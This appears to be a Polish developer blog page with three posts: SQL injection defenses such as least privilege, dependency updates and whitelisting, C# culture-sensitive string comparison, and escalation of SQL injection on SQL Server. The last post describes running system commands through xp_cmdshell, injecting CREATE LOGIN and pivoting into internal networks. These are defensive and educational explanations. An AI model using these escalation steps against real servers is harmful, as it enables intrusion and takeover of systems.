Stosunkowo często, ta sama baza danych jest wykorzystywana przez kilka aplikacji. Szczególnie, gdy firmy przenoszą swój monolityczny system do SOA, zwłaszcza w pierwszych etapach refaktoryzacji, ta sama baza danych jest współdzielona przez różne usługi.

Co za tym idzie, nie mamy już takiej kontroli nad dostępem. Nawet jeśli nasza aplikacja używa
sparametryzowanych zapytań, możliwe jest, że któraś z wielu usług zawiera błąd. Za pomocą eskalacji opisanej w poprzednim poście, atakujący może przejąć kontrolę nawet nad całą infrastrukturą.

Z tego względu, zawsze należy tworzyć użytkowników o jak najniższych przywilejach. Jeśli aplikacja A, korzysta wyłącznie z tabel B,C, wtedy użytkownik w ConnectionString powinien mieć dostęp wyłącznie do nich. Często spotykam connection string, gdzie użytkownik ma dostęp do całej bazy danych, włącznie z możliwością zapisu. W skrajnych sytuacjach, aplikacje webowe korzystają nawet z kont, które mogą tworzyć i usuwać tabele…

Nigdy nie popadajmy w złudzenie, że skoro dla mnie oczywiste są sparametryzowane zapytania czy ORM, to wszyscy i zawsze będą taki kod pisać. Systemy ewoluują, część z nich jest odziedziczona albo outsourcowanana. Im bardziej skomplikowany system, tym trudniej mieć na tym kontrolę. Niektóre systemy działają od np. 20 lat i ciężko mieć tutaj pewność. Oczywiście sytuacja jest luksowana, gdy piszemy system od zera. Wtedy powyższe problemy  pojawią się dopiero za 10 lat, o ile wcześniej z różnych innych względów takowy projekt nie upadnie.

3. Aktualizacja oprogramowania, bibliotek i innych zależności

Nawet jeśli mamy pewność, że nasz system spełnia punkt pierwszy, to nigdy nie możemy powiedzieć tego samego o wszelkich zależnościach. W przypadku stron internetowych może być to prostu CMS. Inne przykłady to pluginy, Nuget, ORM, sterowniki do baz danych czy nawet całe serwisy

Im bardziej skomplikowany system, tym więcej komponentów utrzymywanych przez inne firmy. Mogą być to nawet całe usługi, nierzadko generujące ogromne ilości danych. Eskalacja SQL Injection może polegać na tym, że przez złamanie usługi utrzymywanej przez zewnętrzną firmę, możliwe stanie się wykradnięcie danych z naszych usług, które myśleliśmy wcześniej, że są bezpieczne ponieważ korzystamy z ORM\SP\sparametryzowanych zapytań.

4. Zapytania, które nie mogą być sparametryzowane

Niestety, nie wszystkie typy zapytań mogą być w łatwy sposób sparametryzowane. Widziałem przypadki, gdzie “ORDER BY DESC” był ręcznie dodawany, w zależności od typu sortowania wybranego przez użytkownika.
Tak jak wspomniałem, unikajmy pisania własnego kodowania takich wartości bo bardzo trudno pokryć wszystkie przypadki. Najrozsądniejszym sposobem jest użycie białych list, czyli dopuszczenie wyłącznie dozwolonych wartości, np. DESC, ASC i nic po za tym.
Nie wszystkie zapytania to pojedyncze SELECT z kilkoma filtrami. Czasami filtry dodawane są dynamicznie i wtedy mogą pojawić się wyzwania, ale to już zależy od konkretnego typu bazy.

5. Walidacja danych

Dobrą praktyką (nie tylko z punktu widzenia bezpieczeństwa) jest szczegółowa walidacja danych. Jeśli pominiemy walidację danych, to nawet, gdy nie wywoła one bezpośrednio problemu (poprzez parametryzację), to nigdy nie wiadomo, czy nie zostanie wykorzystane jakoś we wtórnych atakach, potencjalnie bazujących na zaufaniu do danych pochodzących z bazy danych.

Porównywanie znaków, ToUpper, string.IndexOf oraz StringComparison.Ordinal

Resharper daje naprawdę cenne wskazówki. Nie wszystkie są oczywiste i czasami należy zagłębić się w temat. Jedną z takich wskazówek jest używanie IndexOf wraz z StringComparison.Ordinal.

Załóżmy, że mamy następujący kod:

string text = "test";
Console.WriteLine(text.IndexOf("est"));

Resharper zasugeruje konwersję do:

string text = "test";
Console.WriteLine(text.IndexOf("est", StringComparison.Ordinal));

Dlaczego?
Jeśli nie przekażemy ustawień regionalnych jawnie, wtedy domyślnie aktualna zostanie użyta.
Czasami oczywiście dokładnie tego chcemy i dlatego domyślnie przekazywany jest StringComparison.CurrentCulture.

W niektórych sytuacjach może spowodować to bardzo irytujące problemy. Każdy język ma pewne zasady, które nie zawsze pokrywają się z intuicją osoby piszącącej kod. Najsłynniejszym chyba przykładem jest język turecki i litera ‘i’.

Czego byśmy spodziewali się po poniższym kodzie?

string text = "some text this";
Console.WriteLine(text.ToUpper().IndexOf("THIS")); 

Naturalne wydaje się, że po wywołaniu ToUpper, tekst “THIS” zostanie znaleziony (na pozycji 10). Zmieńmy kulturę na tr-TR (Turcja):

Thread.CurrentThread.CurrentCulture=new CultureInfo("tr-TR");
string text = "some text this";
Console.WriteLine(text.ToUpper().IndexOf("THIS"));

Na ekranie zobaczymy -1. W języku tureckim, wielka litera ‘i’ to İ, a nie ‘I’.

Inny przykład to w niemieckim litery ‘ß’ oraz ‘ss’, które będą traktowane jako takie same, jeśli ustawimy odpowiednio kulturę.

Ciekawy przykład, znalazłem również na StackOverflow:

//SOURCE: http://stackoverflow.com/a/10941507
var s1 = "é"; //é as one character (ALT+0233)
var s2 = "é"; //'e', plus combining acute accent U+301 (two characters)

Console.WriteLine(s1.IndexOf(s2, StringComparison.Ordinal)); //-1
Console.WriteLine(s1.IndexOf(s2, StringComparison.InvariantCulture)); //0
Console.WriteLine(s1.IndexOf(s2, StringComparison.CurrentCulture)); //0

Problem w tym, że nie mamy pojęcia na jakim komputerze nasz kod jest wykonywany. Musimy przyjmować, że może być to dowolna kultura. Jeśli zatem, porównujemy angielskie czy polskie znaki, wtedy nie chcemy korzystać z ustawień regionalnych. Co jeśli aplikacja webowa jest hostowana na niemieckim serwerze, a porównujemy w niej wyłącznie polskie słowa, bo np. baza danych i aplikacja jest wykorzystywana wyłącznie w Polsce. Z tego względu, bezpieczniejszą opcją jest StringComparison.Ordinal, która porównuje wartości liczbowe znaków (np. kod ASCII).

Bezpieczeństwo web, SQL Injection – Eskalacja ataku

Czas wrócić do cyklu o bezpieczeństwie web, a konkretnie o SQL Injection. W poprzednich postach sporo pisałem o sposobach wykrycia luk, nawet w przypadku, gdy aplikacja nie wyświetla bezpośrednio danych na stronie.  Dzisiaj pokażę, że SQL Injection to nie tylko wykradnięcie danych, ale może umożliwić nawet całkowite przejęcie serwera.

Przedstawione ataki można wykonać na różnych typach baz, ale ze względu na to, że głównie zajmuje się MS Sql Server oraz MySql, ograniczę się do nich.

1. Wykonanie dowolnej komendy

W SqlServer do dyspozycji mamy xp_cmdshell.  Procedura umożliwia wykonanie dowolnej komendy systemowej, na przykład:

EXEC xp_cmdshell 'dir *.exe';
GO

Oczywiście, jeśli użytkownik wstrzyknie taką komendę i ConnectionString zawiera użytkownika, który ma uprawnienia do jej wykonania, atak zakończy się całkowitym przejęciem kontroli danego serwera. Po prostu, dowolne polecenie może zostać wykonane, więc nie różni się to niczym od fizycznego zalogowania się do takiego komputera.

2. Stworzenie nowego użytkownika

Wstrzykiwanie kodu za każdym razem jest dosyć niewygodne. Dlaczego zatem nie stworzyć po prostu sobie konta? Analogicznie, korzystając z technik pokazanych w poprzednich postach można wstrzyknąć CREATE LOGIN.

3.  Dostęp do infrastruktury

Zwykle systemy to nie pojedynczy serwer a cała ich sieć. Ponadto, sieć chroniona jest zwykle przez firewall, zatem z zewnątrz mamy dostęp wyłącznie do jednego serwera za pomocą HTTP\HTTPS. Innymi słowy większość portów i adresów IP jest po prostu zablokowana. Jeśli uzyskamy dostęp do serwera baz danych, np. za pomocą punktu pierwszego, znajdziemy się w zaufanej sieci. Potencjalnie serwer baz danych nie jest blokowany przez firewall ponieważ znajduję się w zaufanej sieci.

Naturalnie, za pomocą “xp_cmdshell” będziemy w stanie przeprowadzić kolejne ataki wymierzone w serwery znajdujące się w chronionej sieci. Zwykle są one dużo łatwiejsze do przeprowadzenia… Dlaczego? Programiści często myślą, że skoro aplikacja czy usługa jest wykorzystywana tylko wewnętrznie i nie ma do niej dostępu z publicznego Internetu, wtedy nie trzeba martwić się autoryzacją czy bezpieczeństwem. W świecie mikro-usług jest to dość wyraźnie widoczne. Często większość mikro-serwisów wykonywana jest wyłącznie wewnętrznie. Powyższe rozważania pokazują jednak, że wystarczy, że jakiś element w publicznych usługach zostanie złamany i atakujący zyska publiczny dostęp do usług, które wcześniej uważane były za prywatne. Bezpieczeństwo powinno być rozważane na każdym poziomie – od kodu aplikacji po infrastrukturę.